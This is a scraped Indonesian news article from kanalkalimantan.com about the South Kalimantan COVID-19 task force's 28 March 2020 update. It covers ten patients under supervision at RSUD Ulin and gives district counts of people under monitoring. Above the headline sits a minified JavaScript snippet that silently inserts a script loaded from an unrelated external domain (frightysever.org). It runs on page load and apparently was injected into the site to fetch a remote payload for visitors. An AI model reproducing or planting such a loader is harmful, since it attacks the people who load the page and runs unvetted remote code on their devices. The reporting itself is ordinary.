(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Jumlah PDP 10 di Kalsel, Ini Penjelasan Tim Gugus Tugas Covid-19


KANALKALIMANTAN.COM, BANJARMASIN – Jumlah pasien dalam pengawasan (PDP) yang dirawat di RSUD Ulin Banjarmasin bertambah. Terbari, kini ada 10 PDP tengah menjalani perawatan di RSUD Ulin Banjarmasin.

Hal ini disampaikan Juru Bicara Tim Gugus Tugas P3 Covid-19 Kalsel M Muslim di Banjarmasin, Sabtu (28/3/2020) sore pukul 17:00 Wita.

“Rujukan dari kota Banjarmasin sebanyak 5 pasien plus yang terkonfirmasi positif Covid-19, kemudian dari kota Banjarbaru 2 pasien, Kabupaten Banjar 2 pasien, Kabupaten Hulu Sungai Selatan 1 pasien, dan Kabupaten Tabalong 1 pasien,” kata Muslim. Sehingga, jika dilihat baik dari PDP maupun pasien terkonfirmasi positif Covid-19 yang tengah dirawat di RSUD Ulin Banjarmasin berjumlah 11 pasien.

Muslim pun menjelaskan kondisi PDP yang tengah dirawat, pasien Ulin-10 merupakan seorang laki-laki berusia 45 tahun dari Martapura, kondisinya masih ada batuk dan sesak nafas, serta kondisinya yang lemah.

Selanjutnya, pasien Ulin-11 laki-laki berusia 56 tahun dari Banjarmasin memasuki hari kelima perawatan diakui Muslim masih ada batuk dan sesak nafas. “Dalam perawatan kadang diperlukan oksigen, kadang tidak. Tergantung keperluan,” jelas Muslim.

data grafis Tim Gugus Tugas P3 Covid-19 Kalsel Sabtu 28 Maret per pukul 16.00 Wita.

Muslim melanjutkan, pasien Ulin-12 wanita berusia 51 tahun merupakan rujukan dari Banjarmasin juga memasuki hari kelima perawatan, kondisinya masih lemah dan ada batuk. Kemudian, pasien Ulin-13 laki-laki berusia 23 tahun asal Tabalong, sudah memasuki perawatan hari keenam dan kondisinya sudah membaik.

Sedangkan pasien Ulin-17, seorang wanita berusia 36 tahun dari Hulu Sungai Selatan, sudah memasuki perawatan hari keempat dan kondisinya disebut sudah membaik.

“Sedangkan Ulin-18 yang masuk pada hari kemarin, ini adalah hari kedua dalam perawatan yang merupakan rujukan dari Banjarmasin, kondisinya sudah membaik,” sebutnya.

Kemudian, pasien Ulin-19 yang merupakan wanita berusia 33 tahun dari Banjarbaru dirujuk pada Jum’at (27/3/2020) kemarin. Saat ini, menurut Muslim, kondisinya sudah membaik.

Pasien Ulin-20 dirujuk pada Sabtu (28/3/2020) pagi, laki-laki berusia 66 tahun yang merupakan rujukan dari Banjarbaru. Diakui Muslim, pasien ini memiliki riwayat perjalanan ke Bandung. “Kondisinya saat ini juga membaik,” kata Muslim.

Lebih lanjut Muslim mengatakan, pasien Ulin-21 yang merupakan balita berusia 4 tahun juga dirujuk pada Sabtu (28/3/2020) pagi. Pasien dengan usia sangat muda ini merupakan rujukan dari Banjarmasin dan masih dalam perawatan tim medis. “Terdapat batuk dan pneumonia ringan,” jelasnya.

Terakhir, pasien Ulin-22 seorang balita, berjenis kelamin laki-laki berusia 4 tahun, dirujuk pada hari yang sama dengan pasien Ulin-21. Saat ini tengah dirawat tim medis, dengan kondisi masih ada batuk dan juga pneumonia ringan.

Apakah melonjaknya angka PDP di Kalsel disebabkan adanya local transmission? Diakui Muslim, jajarannya hingga saat ini belum dapat menemukan adanya local transmission.

“Oleh karena itu, kita masih melakukan tracing, pada pasien yang terkonfirmasi positif terkait kontak-kontak yang terjadi pada pasien konfirmasi tersebut,” jelas Muslim.

Sementara itu, jumlah orang dalam pemantauan (ODP) di Kalsel terus meroket. Diakui Muslim, saat ini ada 1.079 orang yang masuk menjadi ODP. Ini menunjukkan semakin masifnya tim gugus tugas di kabupaten dan kota untuk melakukan pemantauan terhadap orang-orang yang riwayatnya berasal dari daerah terjangkit, baik yang ada gejala maupun tidak.

“Sehingga dilakukan pemantauan atau isolasi mandiri di rumah mereka masing-masing dengan pemantauan dari tenaga kesehatan di kabupaten dan kota,” pungkas Muslim.

Rincian jumlah ODP di Kalsel, yaitu Kabupaten Tabalong sebanyak 172 orang, Kota Banjarbaru sebanyak 150 orang, Kabupaten Hulu Sungai Tengah sebanyak 129 orang, Kabupaten Banjar sebanyak 111 orang dan Kabupaten Kotabaru sebanyak 100 orang.

Disusul Kabupaten Hulu Sungai Selatan sebanyak 91 orang, Kota Banjarmasin sebanyak 90 orang, Kabupaten Balangan sebanyak 71 orang, Kabupaten Barito Kuala sebanyak 67 orang, Kabupaten Tanah Laut sebanyak 34 orang, Kabupaten Hulu Sungai Utara sebanyak 28 orang, Kabupaten Tanah Bumbu sebanyak 23 orang dan Kabupaten Tapin sebanyak 13 orang. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

 


Al Ghifari

Recent Posts

Senja Jelang Magrib, Rumah di Banjar Permai III Terbakar

KANALKALIMANTAN.COM, BANJARMASIN - Warga kawasan Banjar Indah Permai geger dengan kemunculan kobaran api, Senin (27/5/2024)… Read More

17 menit ago

Lawatan ke PKB, Upaya Lisa Halaby Mencari Partai Pengusung

KANALKALIMANTAN.COM, BANJARBARU – Bakal calon Wali Kota Erna Lisa Halaby kembali melakukan lawatan politik menuju… Read More

3 jam ago

Menjaga Kamtibmas, Satgas TMMD ke-120 Berikan Penyuluhan

KANALKALIMANTAN.COM, AMUNTAI - Memberikan pemahaman kepada warga agar bersama-sama menjaga dan mewujudkan keamanan dan ketertiban… Read More

3 jam ago

RPJPD 2025-2045 Banjarbaru Menjadi Kota Metropolitan di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Langkah menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel)… Read More

3 jam ago

Gandeng BPS Kabupaten Banjar, DKISP Banjar Gelar Workshop Penyusunan Metadata Statistik Sektoral Lingkup Pemkab Banjar

KANALKALIMANTAN.COM, MARTAPURA - Dinas Komunikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar menggelar Workshop Penyusunan… Read More

4 jam ago

Jelang Penilaian Satu Wasaka Award, Bappedalitbang Mantapkan Persiapan

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar rapat… Read More

4 jam ago

This website uses cookies.